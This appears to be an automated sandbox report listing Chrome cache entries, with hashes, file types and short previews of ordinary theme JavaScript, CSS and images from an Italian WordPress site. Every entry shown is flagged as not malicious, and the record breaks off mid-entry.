Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 36 36"><path fill="#77B255" d="M36 32c0 2.209-1.791 4-4 4H4c-2.209 0-4-1.791-4-4V4c0-2.209 1.791-4 4-4h28c2.209 0 4 1.791 4 4v28z"/><path fill="#FFF" d="M29.28 6.362c-1.156-.751-2.704-.422-3.458.736L14.936 23.877l-5.029-4.65c-1.014-.938-2.596-.875-3.533.138-.937 1.014-.875 2.596.139 3.533l7.209 6.666c.48.445 1.09.665 1.696.665.673 0 1.534-.282 2.099-1.139.332-.506 12.5-19.27 12.5-19.27.751-1.159.421-2.707-.737-3.458z"/></svg>

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	23077
Entropy (8bit):	4.911677492624258
Encrypted:	false
SSDEEP:	384:gMybakaQxizORQOupjvwenWjWzvHaI8agy6Gupgd/6sbOxYv3:gPakxMznO0jFnWSbLryssYP
MD5:	9E21BB665D0B5A15EB7FCA931D60523B
SHA1:	F51855E2FF2F7BAB57CD03AA190D749CF90357C3
SHA-256:	157C0E609B5F8A0A961A305ADFD944420DBE37057248785A99175DF73FDD1A9F
SHA-512:	CDC1B9FC58F6C4C5D87191DB27C32F657E1845CC15A36705090BCDD0D22B07A0C45FF23E013EF6151494EE67C2870B8A01B5FE009CC3F002F97F63DC6A326E81
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow-video.js?ver=6.0.9
Preview:	// -------------------------------------------------------------------------------------------.// .// AVIA VIDEO API - make sure that youtube, vimeo and html 5 use the same interface.// .// requires froogaloop vimeo library and youtube iframe api (yt can be loaded async).// .// -------------------------------------------------------------------------------------------...(function($).{. "use strict";...$.AviaVideoAPI = function(options, video, option_container)..{....this.videoElement = video;......// actual video element. either iframe or video...this.$video.= $( video );......// container where the AviaVideoAPI object will be stored as data, and that can receive events like play, pause etc ...// also the container that allows to overwrite javacript options by adding html data- attributes...this.$option_container = option_container ? $( option_container ) : this.$video; ......// button to click to actually start the loading process of the video...this.load_btn = this.$option_conta

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	849
Entropy (8bit):	4.501336493442654
Encrypted:	false
SSDEEP:	12:2aSUqG+HMVVwVwBFe1D+WGkv+sDeTbmRoeIROMfDzMzvs7/laXfLsbvsWsKm7aXr:2rMVVw2BFe4w5Ksoe5QcDsbueb
MD5:	18ED7837CAAADC19C343B8C9BDFD9248
SHA1:	5200AAFAA57ED6071899FDC920947AD0A6FAB137
SHA-256:	3831E5C07B5FAB004471D91C7654B71924A24B85A05BA271D19A62348A5CF565
SHA-512:	763A2A90C169EB086D9E4A313615BF8B0ABA44CC6E33E7D8B2AD3B06BD36C0EA9E4C4A073EA17E8100DDCB656D8C0014D848C3B70E259A17ABAC2F8621A47215
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_layerslider/slideshow_layerslider.js?ver=6.0.9
Preview:	(function($).{.."use strict";..// -------------------------------------------------------------------------------------------.// makes sure that the fixed container height is removed once the layerslider is loaded, so it adapts to the screen resolution.// -------------------------------------------------------------------------------------------..$.fn.layer_slider_height_helper = function(options).{..return this.each(function()..{...var container .= $(this),....first_div .= container.find('>div:first'),....timeout .= false,....counter .= 0,....reset_size .= function()....{.....if(first_div.height() > 0 \|\| counter > 5).....{......container.height('auto');.....}.....else.....{......timeout = setTimeout(reset_size, 500);......counter++;.....}....};....if(!first_div.length) return;....timeout = setTimeout(reset_size, 0);..});.}...}(jQuery));

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2996
Entropy (8bit):	4.0773068909292185
Encrypted:	false
SSDEEP:	48:sWGjgI1GYYv+IGL63IevoyiO/b2g1vnKBFF9j:sWGjRGYYvXGcRQyiO/Sg1vnK7Tj
MD5:	B55E7C1D322D644E1644496EF0D8C7C3
SHA1:	D3F2DC4D08D81D3769498396C91737AF12735FEA
SHA-256:	D000CBDC4EAF4968F59DB635892E36BDE66D1563CA301F5AD52A5791FB9CECB3
SHA-512:	E298A029E8F3EDEFCCCDC0B40D958B5BC82D9F96B1CA89E01EE821017E6D7B015C9D9333C3A11ECE5E6B6EC4961304B9418156BB5A3A8CA0EBD1728D092909EB
Malicious:	false
Reputation:	low
Preview:	// -------------------------------------------------------------------------------------------.// Message Box.// -------------------------------------------------------------------------------------------..(function($).{. "use strict";.. $.fn.avia_sc_messagebox = function (options) {.. "use strict";.. return this.each(function () {.. var container = $(this),. close_btn = container.find('.av_message_close'),. mbox_ID = container.attr('id'),.. aviaSetCookie = function(CookieName,CookieValue,CookieDays) {. if (CookieDays) {. var date = new Date();. date.setTime(date.getTime()+(CookieDays2460601000));. var expires = "; expires="+date.toGMTString();. }. else var expires = "";. document.cookie = CookieName+"="+CookieValue+expires+"; path=/";. },..

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7238
Entropy (8bit):	4.8628010967352076
Encrypted:	false
SSDEEP:	96:YF9D9Q3Pt4dlFDe98GjK81nxpw9Hzx7YYUnxiCLc/fYo5gUuenI1:69D9Q3PtelFDMH71xpOlBiH8uMI1
MD5:	09B08C6DC04BFDAB0A31DA73CBA34EB2
SHA1:	29B37614F602A336A266702BF609DD3214E1BA30
SHA-256:	0332A5F4F922B4444F56E6FBF32034407BA146690A78E181126DA759B81C1BE3
SHA-512:	75FA7D15A53BC013BFDF51AACD0B85B12FBDA4BF32661966C8D4F149E098904A6CB37871376522151B63983A8A9B2E5984FC4110DCB687709330786668F128D5
Malicious:	false
Reputation:	low
Preview:	(function($)..{ ..."use strict";......// -------------------------------------------------------------------------------------------...// Tab Section...// -------------------------------------------------------------------------------------------......$.fn.avia_sc_tab_section= function()...{....var win ...= $(window),.....browserPrefix .= $.avia_utilities.supports('transition'),.....cssActive ..= this.browserPrefix !== false ? true : false,.....isMobile ..= $.avia_utilities.isMobile,.....transform3d..= document.documentElement.className.indexOf('avia_transform3d') !== -1 ? true : false,.....transition..= {};.........return this.each(function()....{.....var container ..= $(this),......tabs...= container.find('.av-section-tab-title'),..... tab_outer..= container.find('.av-tab-section-outer-container'),......tab_wrap..= container.find('.av-tab-section-tab-title-container'),......tab_nav...= container.find('.av_tab_navigation'), ......content_wrap.= container.find('.av-tab-section-inner

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	10267
Entropy (8bit):	5.081060823587943
Encrypted:	false
SSDEEP:	192:KK+dBl6gKYu7Dnsvcgr2VT2EpHgXchg7uEoyXIby:Ql5/u7DnsotsD
MD5:	792EAE5A82FA86A4E510BDE5D33019FA
SHA1:	F6B97F373DDF899D8675EBE2C17A7B3E8085CF14
SHA-256:	D232B8573CA858C9A3C2635A34113BCE431327DA59D5AD19965A0228EEE75CAB
SHA-512:	91B53C622B63C2A0256DB7D9E6358261849F2B692347F3221211CC49A97A2AA0FC334767D938BD74D1722DAC0F71BC8B41B7EECF1B837746D013E01A951D3222
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/portfolio.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Portfolio/Post Grid.====================================================================================================================================================== */.#top .grid-sort-container .no_margin.av_one_half {. width: 49.999%;.}....sort_width_container{.margin: 30px 0;.}...entry-content-wrapper .sort_width_container:first-child{margin-top:0;}...sort_width_container, #js_sort_items{.overflow: hidden;.position: relative;.clear: both;.}..#js_sort_items{.visibility: hidden;.font-size: 0.9em;.}..#js_sort_items a{.display:block;.float:left;.text-decoration: none;.}...av-cat-count{display: none; }..#js_sort_items .text-sep{.float:left;.padding:0 6px;.}...grid-sort-container{.clear: both;.position: relative;.z-index: 20;.}...isotope_activated .isotope-item{.margin-left:0;.}..#top .isotope-item{.z-index: 2;.}..#top .isotope-hid

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	267
Entropy (8bit):	6.34426489571429
Encrypted:	false
SSDEEP:	6:6v/lhPFMkcC/QCllL4N/02j27XW+zFarJUma+7dp:6v/7tH/MN/02j27X7zFara87z
MD5:	9C6287BDF64843201AF93FF1AFBFAC6C
SHA1:	A31D1F6A6DC624C02A6E7767BD9D5AD894C7CDDB
SHA-256:	85D05871F6315412DE38A72C7164FD4917EFBA135BA06ED9972C502C1FD811FF
SHA-512:	E6AF1947CD5112AC5CCD5042A62FC2F697CAEBAB3441E28D9B3BACD1D6798ECBF099B251CC5D35B62C1D776F6187079E82CE1EAF5B9F5BC882961681C1049877
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/plugins/sitepress-multilingual-cms/res/flags/it.png
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.do 29 dec 2005 02:35:37 +0100........tIME.....(.HYx.....pHYs...........~.....gAMA......a....cIDATx...1.. ....L.."...N ....!...?L%_:...n ..-..C..._MRy..T...VS...=%V.-..?3...Rx..X.1..\|3".....\|.(.-.W.....IEND.B`.

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1222 x 630, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1268031
Entropy (8bit):	7.988423203500793
Encrypted:	false
SSDEEP:	24576:IVkYjgK1/q5Tj9LQQc5XrXeKKme+zVZmA7CUd3R8wD+J8IHjNH2BEKR/1RDQ/4:IWYjC5Tj9cQm7nKmXJZD7CEXD+J8AcNB
MD5:	70002FB6B8C65AA21997EF20178127D3
SHA1:	6E08F68FF4C2419835E30836FBE33C6DBD42F346
SHA-256:	C794957D89A7FC2CF33573523070167A76ED63E72C8296F316302AFD61FFC7E8
SHA-512:	1E836E887A61EE0EA0F2A41223C8B3C356E45E0A961D48169872FB71F555F76EBAC8866AEE8BF04037EA0FF02A9C8897E6F8C5911073F645B05AFFD4BD533FE3
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.26.09-1222x630.png
Preview:	.PNG........IHDR.......v.............IDATx.t.].,K.-..3...kW...W.%$...u.........x..._.A..9.....f<.s.\u.J[k.5.....n6l\|.....5..@...`.H9C p....rB.1.BR.....R..c..........y..>Ps."#k.W-(..(....Q3T.GI..g9.i.)#..Z.J.9..()!'.B.r.BP..3A..n.&.L..8k...sGI..........T+D.......P.{...&...BD...S.\..4......A....../03.....)..P.D0.....7.4....p..........@0.a.!%.4....0.AE1.@.%.....OU~......C.L..Q..I.>...*D.%g.9.I0.Qr.. I......M....GJ."..@D....)%......s.R0.#.....CU..07..>......TM....x.4.....".U...g.=..X.....l.7...O~......h....\..?.5....Za...?gp...............w.......s...u..a6a>1F....1m.........'.l...OL...x...x...O...x._..'............).;g .xf.P.._8._Q..~.<N...<.@..5W<..L....PQ....5.H9CE HH....0E..I.\..I....B.q..I.D.T.~...\|.o...}/u...{&..4^s?..T4.....E.,.$...".k....51G...\|.`..\|L.[<.../.10z..c..>x.}.Yrw\m..D..P.L..8J.....:.q....s...iPu.,Hj(I!b()....ums..._H.......x..1.r>!n.np(.2....TOh.x..J} ..Z+....8jE..Y3F..t.~..s...a..V..$@.-"...f.,.....RJ.U.q....(%.l@2?K..6....d\......j..O

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 75 x 75, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	25358
Entropy (8bit):	5.006278877714235
Encrypted:	false
SSDEEP:	384:lJN9NvO3tM5sSo72OlJYlRbVu+R48HAm/hh+:XN9Nv4tXX7v09uM4mr6
MD5:	35F6EF9958F82B885739F7321990C682
SHA1:	8822B7B4F49C075851B682FC086B370414206F7F
SHA-256:	1D08E51346D47A73D485A1C9858885D6B2D67B89ACDF61717675DE2545E9F21F
SHA-512:	67F8F5ED0A615847253B15C70FAA5022BC6EA8CDF7AE84389D1A032FB0DB98BD846E9FE04151D821EBA50DE21B6ED724B438D8321465923F6C7165843C59B51F
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2019/06/2.png
Preview:	.PNG........IHDR...K...K......,.....pHYs.................iCCPPhotoshop ICC profile..x..wT.Y.......-!.RBo....k...FH ...B.......X...eDFD... cA,X..{..AE]..6T....{v..=g.s.9..{........Nr.R1...-..b...I.)l.. .......\.ott8...p.....6\.T..[...sy.H4...sy...1...'....$.0^......`..S..-...Lr=.0.&............D.re...].`...r..'....E.....x.\>.M........h..`..O>...LSzr..%O......Q.T.].....+..0...P....$..&kI..%i.QS,.O......!.S...O.b>7 l..Y.S.M...9qS,[.....#....%....Nq.(.3....)..%DNqnVl......S.({..)g.....K...Q.....G...#..)}......J=7/VyV..S....i.h.."..<y.29.....r.H ..}.Rq:.#...b;...$%..'......@XW...N....D0.q..N<.`\|.........)dy.......P.&h.>.....8...@ .B..A2,...!.d...`..C)l..P......!8.mp...E..}p......K...0. ...#.D.1@L.k..qE..@$..A..TD.H..R..CJ.2...4"."'...e....."#.[....4...f.l...E..8t!@s.\|...V.u.A..=.^Eo...Kt.....0C..s...(,...d.*.....f....n`..+.3..c..8.........rp.p.qU...V.y... n...O.....x.>././...+..............E0'..B..L...F..B....O."...Dm.5..E....b.N.A...u.0...J2 9..H)$.i-..t.t.t

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2078
Entropy (8bit):	4.879299681230514
Encrypted:	false
SSDEEP:	24:7ncCtt0+I9xjE/Fkqf1WmEfjNQ+O9BQ5STH7w6SqUYtmMyn7SHqflhqQxUyrGqC/:7nciKSNkqf6TYQmLSeF0OWVS3fL
MD5:	9A7C8D4A3CBAFF2CF91981A885FF1516
SHA1:	C9C53CE90AC96D7321F789E09BB3086CD54E23F7
SHA-256:	D597624F04518ACF36182FACF3EAFFCE999178B14C6C5C3D48F108B52A88203A
SHA-512:	6C97CC62AC6C8ABBF8CBEFBE774D94DCE22852A353A1BD24402C3C8FD13C1603786370C2BB08FB3E7C280836209F30F4A9E81108F6B0E49FC703D1073A10B4C0
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_feature_image/slideshow_feature_image.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Slideshow Feature Image Slider.====================================================================================================================================================== */.#top .avia-featureimage-slideshow{ margin:0; }..#top .avia-slideshow-fixed-height > li{.position: absolute;.width:100%; height:100%;.background-size: cover;.background-position: center center;.}...avia-featureimage-slideshow .caption_container{..height:100%;.}...avia-featureimage-slideshow .slideshow_caption h2{..margin:0;..text-shadow: 0px 0px 7px rgba(0,0,0,0.7);.}...avia-featureimage-slideshow h2.avia-caption-title:after {. display: block;. content: "";. width: 40px;. border-top: 3px solid #fff;. margin: 11px auto;. position: relative;. top: 7px;.}...main_color .av-no-image-slider h2 a{..text-shadow: none;.}...avia_desktop .avia-

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	685
Entropy (8bit):	4.353846854825342
Encrypted:	false
SSDEEP:	12:2r/t0BkT8WGSzReJmKLEl2e9GBqHmTXFBTl2XFuUMJutMb:2LuBkgMIJmKLA2eaTXFT21uUMJuWb
MD5:	0E4728339010DF1327BE3712965E0BB5
SHA1:	969FE827736729AC4B593308FE5B97506B209EBF
SHA-256:	1951200C247279D31F6C253F3018ED34ABD57B0D20B62C34352FC57BF10D8CDA
SHA-512:	11324FFBA55A77D85F466A1E9C3817CDF4B832FAD07C87AA6C41976EE437FB5733B6F5C7D199D61E9E8A6963A16F346E693FFF2EC52B63B22D2AEC25FC7B1166
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlist/iconlist.js?ver=6.0.9
Preview:	(function($).{ .."use strict";....// -------------------------------------------------------------------------------------------..// Iconlist shortcode javascript..// -------------------------------------------------------------------------------------------....$.fn.avia_sc_iconlist = function(options)..{...return this.each(function()...{....var iconlist = $(this), elements = iconlist.find('>li');........//trigger displaying of thumbnails....iconlist.on('avia_start_animation', function()....{.....elements.each(function(i).....{......var element = $(this);......setTimeout(function(){ element.addClass('avia_start_animation') }, (i * 350));.....});....});...});..}.....}(jQuery));

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 143, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17383
Entropy (8bit):	7.953734195324373
Encrypted:	false
SSDEEP:	384:7ps7VxjdgANe442HnQZyAHugoLIe7eDsFEfzx2fh1r2M334ESJ:7kVxjGA44HHnOyACLIe+sedg1atJ
MD5:	89F94E28F27A6229E250935949B94D02
SHA1:	73EB36D1C86A093DF75EBD91265A54040CD6B9EF
SHA-256:	92737B2E4F1027162F3F4F621E1C2148818386A230EFB4FFA153EF29C3246F29
SHA-512:	BC47E33590D96A16055377628275D45D75619594FD5449CB00D47E604481AB64165CE51A59777090C9AD4342019CAE81D6203382E4631EDC01013357D9090C84
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...,.........@....C.IDATx..}w.$e..S.i.........KXr........fOOi.C.;.;...s...bF.#.. #Y.X`..9.....N.N.....W.4U...gz...O.&.TW...>......H ...H ...H ......A .<.%....!.&.e......&...$.@j.< .../..._a.....t......M.H.8.`..$_.........]/....@ ...@...b..l.Q.Q........h.....@..g.Y).."8e.Pc\|E.l.p..{.\...$.@JfU/..m....y.v.x.@..3J...d.\|....dQY.WJcg).".>.`!...x.'...aI..DOo2W.s......8...d6..@.96......\........~A0..ek .........9......[...x..V2.C.vN.......de.zz........@...................R...x./.....n.F.K!N..2...p..m.v......X.`......>2.t........B.>..M..=...t..D.j..Z.......B.i&...K.\|'...`..H}......A\|J;......m.#..\.....fA\|c..^1~...g..Yf.....8.O.8D...U.......z~.l...~3.O.x)...0..[.V............d2..h".9..W..k)....'..k.R~.I....6.`.......^......p..W.xm"nm.c.K.....^...2.&.?.4u.... ..;.@.._sp......\|..w. .M.T).D....`.....5...Hv.Q.......... ....X.=......e..w.x..w.0..q..B..T.n..H .m...)x........ZV.`...r....L..l..1....x.!~......d..j..&.n.(....>..d...S.q+..V ..D.....e....

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	672
Entropy (8bit):	4.967792751769964
Encrypted:	false
SSDEEP:	12:2PHM7CYzBiRiocnsG6p6yf2agxNPhz+feTnntWyXoHQIOeYYBMb:2kOYzBci3XSNgx9xnwyYwAYYBMb
MD5:	1413AE49C9023A3F89AE95C070FC0CEF
SHA1:	90D49808B303E03CFC8E4C6256FF1234282967D4
SHA-256:	E3572EB2976BB93C07DD313D9A917D4C6CF89E1A118A48B391B8DE918F999D86
SHA-512:	3F67E87FD15B75E5C5A52F45F546874C0605D2759CDB8487B459CFBDAB44BB8752ED354A367B81089F6E31654BB3608EF71C60CDCD2816BA34F9E3F8CF45D144
Malicious:	false
Reputation:	low
Preview:	(function($).{ .."use strict";.....$('body').on('click','.av-lazyload-video-embed .av-click-to-play-overlay', function(e){......if(document.cookie.match(/aviaPrivacyVideoEmbedsDisabled/))...{....if (e.originalEvent === undefined) return; //human click only..... ....var src_url = $(this).parents('.avia-video').data('original_url');....if( src_url ) window.open(src_url , '_blank'); ........return;...}.........var clicked .= $(this),....container.= clicked.parents('.av-lazyload-video-embed'),....video..= container.find('.av-video-tmpl').html();........container.html(video);..});....$('.av-lazyload-immediate .av-click-to-play-overlay').trigger('click');...}(jQuery));

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	706
Entropy (8bit):	4.350290640622491
Encrypted:	false
SSDEEP:	12:2DbNt0Bk6qCWGHyeJktvjKLZHql2e9GBqHmTXFBTl2XiUMJu/b:2DbNuBk6qCpJ8LKLZ62eaTXFT2/MJu/b
MD5:	6DB3D0D2AADAB21A9E90678B672948D4
SHA1:	C6661AF97C02277DB3B67111DEC804BA75D69E58
SHA-256:	33A4663017547D3173AC7167C868398484FFCD6F609657B085F12E132AA89E55
SHA-512:	6655AC453A8A3980F4F584002930259E7FBD5ED92E33A539FD729E304728B60AE63527BC658482A10714F8FA9D5B035D61EF2D4ACFE83DE269A9C6234F6D7D9C
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimonials/testimonials.js?ver=6.0.9
Preview:	(function($).{ .."use strict";....// -------------------------------------------------------------------------------------------..// testimonial shortcode javascript..// -------------------------------------------------------------------------------------------....$.fn.avia_sc_testimonial = function(options)..{...return this.each(function()...{....var container = $(this), elements = container.find('.avia-testimonial');........//trigger displaying of thumbnails....container.on('avia_start_animation', function()....{.....elements.each(function(i).....{......var element = $(this);......setTimeout(function(){ element.addClass('avia_start_animation') }, (i * 150));.....});....});...});..}...}(jQuery));

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8056
Entropy (8bit):	4.773168794594566
Encrypted:	false
SSDEEP:	96:MPVYtfFmJjA14X5aIeivPWbOMF30PvuT/O9qlGXVW15fBFhAtfSY+IQBxF:SjA5YvebOC3ZWpS7h2mJ
MD5:	D367FB7182DA13691672DC5FB4062EE2
SHA1:	364247F8C2511AA0B801C3BA38FF259C3AB658BE
SHA-256:	E67830A7AA3816D2D81D3910B57E724BF3E5C72362690764E7F380F1EF2CFF44
SHA-512:	B6EC0AF265E7EEC62FDA4E7819D4E7878D9FB46416BB9B28FAFE1E3D6B834FC4C0B52AACBA415B0331A848A45C999C039C2363E5957407D662024319FEA55825
Malicious:	false
Reputation:	low
Preview:	// -------------------------------------------------------------------------------------------.// Masonry.// -------------------------------------------------------------------------------------------..(function($).{ .."use strict";...$.fn.avia_masonry = function(options)..{...//return if we didnt find anything...if(!this.length) return this;......var the_body = $('body'),....the_win. = $(window),....isMobile = $.avia_utilities.isMobile,....loading = false,....methods = {...........masonry_filter: function()....{.....var current..= $(this),......linktext.= current.html(),.... ..selector.= current.data('filter'),.... ..masonry .= current.parents('.av-masonry:eq(0)'),.... ..container .= masonry.find('.av-masonry-container:eq(0)'),.... ..links..= masonry.find('.av-masonry-sort a'),.... ..activeCat.= masonry.find('.av-current-sort-title');............links.removeClass('active_sort');......current.addClass('active_sort');......container.attr('id', 'masonry_id_'+selector);............if

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4724
Entropy (8bit):	4.72551908428837
Encrypted:	false
SSDEEP:	96:yrj3WJ7joCcSNg/g0GfN5gUC7g1jgnNpn5jgUGhqhxBxty0ufhT110FFff5kAT:gGJ7joCcSNg/gbgUmg1jgnNp1gUGhqhF
MD5:	7276681E0E7D64FD84BA4E7B36D67C36
SHA1:	A6AF31FE2B8DC239AD51233F1FBEDBB26B5F01E6
SHA-256:	91580DB5F8A95EAF1D2BBB373AB97D74D1EAA6547D849D3ACEC12056F4496D9D
SHA-512:	8389891FCD9B8EE8C805DBA00794F8B6078E8146185ECC972AF2BC936AD56A173EB7840FEB94289091F0B8EC7F5A5D1CA789BE8BCB458AAF3D17DB8E704D7A18
Malicious:	false
Reputation:	low
Preview:	// -------------------------------------------------------------------------------------------.// Toggle shortcode javascript.// -------------------------------------------------------------------------------------------.(function($).{ .."use strict";....$.fn.avia_sc_toggle = function(options)..{...var defaults =...{....single: '.single_toggle',....heading: '.toggler',....content: '.toggle_wrap',....sortContainer:'.taglist'...};.....var win = $(window),....options = $.extend(defaults, options);.....return this.each(function()...{....var container .= $(this).addClass('enable_toggles'),.....toggles..= $(options.single, container),.....heading .= $(options.heading, container),.....activeStyle = $(container).attr('data-currentstyle'),.....allContent .= $(options.content, container),.....sortLinks.= $(options.sortContainer + " a", container);......heading.each(function(i)....{.....var thisheading = $(this),......content = thisheading.next(options.content, container),......headingStyle = th

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4444
Entropy (8bit):	5.027853236722188
Encrypted:	false
SSDEEP:	96:E10/sgONS8Rl61z6U8GdaoHLEL2g1xSMRSQE:E10/7p8Rgx6UVdg1sMs
MD5:	D5813D827D76090F9AE57CEB9EE0C237
SHA1:	3914EBC87C2B4D514865B8D2B5A4CBFED056329C
SHA-256:	EBF58BE00925B63196DF30DB7702D649C33078A859023695351B629559CC58D0
SHA-512:	19C1A250F661A08C8DA78A5877A641D7E45D86A60C789333C661AD542CC7701F6A7FA7B8D26E3A91F759C4EF62966041DB0EF87F793678491C2DC535776E0DB0
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_hotspots/image_hotspots.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Image with Hotspots.====================================================================================================================================================== */....av-hotspot-container {position: relative; display: table; margin: 0 auto; clear: both; table-layout:fixed}..av-hotspot-container-inner-cell{display: table-cell;}..av-fullwidth-hotspots .av-hotspot-container-inner-cell{width:100%;display:block;}..av-hotspot-container-inner-wrap img{width:100%; display: block;}...av-hotspot-container .av-image-hotspot{height:18px; width:18px; font-size: 10px; line-height: 18px; text-align: center; position: absolute; z-index: 1; margin:-9px 0 0 -9px; }..av-hotspot-container .av-image-hotspot_inner{ display:block; border-radius: 100px; position: absolute; height:100%; width:100%; background: #fff; color: #888; z-index: 2; cursor

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=15, height=2667, bps=194, PhotometricIntepretation=RGB, manufacturer=Canon, model=Canon EOS 6D Mark II, orientation=upper-left, width=4000], baseline, precision 8, 5727x1899, components 3
Category:	dropped
Size (bytes):	1101494
Entropy (8bit):	7.9387573423984055
Encrypted:	false
SSDEEP:	24576:nJuzPp6aib0YJIAADJrU4KoNRSSTLLbhaaIIEzaG:nJuBiPJHGKO7nnI1
MD5:	88DE45CAC853143B9E28DB80D4C8E8FA
SHA1:	88DD4DD8F801E1800E0A7A94A7BBC4C7FE8F7149
SHA-256:	55D363AB641C65F81109115A8DDACE66EC40F1A066581605DD31B970AA6E49A9
SHA-512:	29F615C9164F11003D1937F3E230D5B6489FB695B994E54D04B9C20A4F5211DE543595FED4398456E184793184C591CB63C9A6D75FFCAD90CB7A2800A7DAB758
Malicious:	false
Reputation:	low
Preview:	......Exif..II*...........................k...................................................................................................(...........1...........2...........;.......&...i.......8.............Canon.Canon EOS 6D Mark II...-..'....-..'..Adobe Photoshop CC (Macintosh).2019:09:11 12:13:45.Mariano Romani.... ........................."...........'...........0...........2...................0230....................................................................................................................00..........00......................_...........k.......................&...............................................................1...........2.......;...4.......[...5.......s...............G.......2019:06:25 10:28:57.2019:06:25 10:28:57..Qr.@B..VLV.@B..................&........Ud......Ud.....053051007305.........F.......................EF24-70mm f/2.8L II USM.6075004335.........................................(.......................................H.......H.....

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1385
Entropy (8bit):	4.534810971493058
Encrypted:	false
SSDEEP:	24:sYUGQmS0b3Pr5pnrOIYOILHieROIpcZExvKI7Gf8aMoE/DMSaV:5UG/dbr5prOIYOIbH0Ipc2xCI7G8aNEI
MD5:	AABBB98DE4126CF0A95214A8DFCC8E06
SHA1:	21F81926712D643614DC73585BDDCEB8CD88C5E0
SHA-256:	98125B0A0447BE74F87CD12F91983A5A0878DC247DA92ECF3C544D119D3DCF1A
SHA-512:	5C265BB119B2D4F478642DC0B19296AA87FC1FC9349B93A6F43EB1A5CBB716F4A01B302A4BD167831B9F98AE127613A138FE316680A581A4F85283E62F3D46E9
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.AVIA PLAYER .====================================================================================================================================================== /../playlist shortcode/...av-player.av-player-container .wp-playlist{.margin:0;.}...av-player.av-player-container .av-player-cover-container .av-player-cover img{..display: block;..max-width: 100%;. max-height: 100%;.}...avia-playlist-hide-cover .wp-playlist-current-item{..height:auto;.}..#top .avia-playlist-custom-background-color .wp-playlist{ background: transparent; }.#top .avia-playlist-custom-font-color { color:inherit; }.#top .avia-playlist-custom-font-color .wp-playlist-item > { opacity: 0.8; }.#top .avia-playlist-custom-font-color .wp-playlist-item.wp-playlist-playing > { opacity: 1; }..#top .avia-playlist-custom-border-color .wp-playlist{ border: none; }.

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
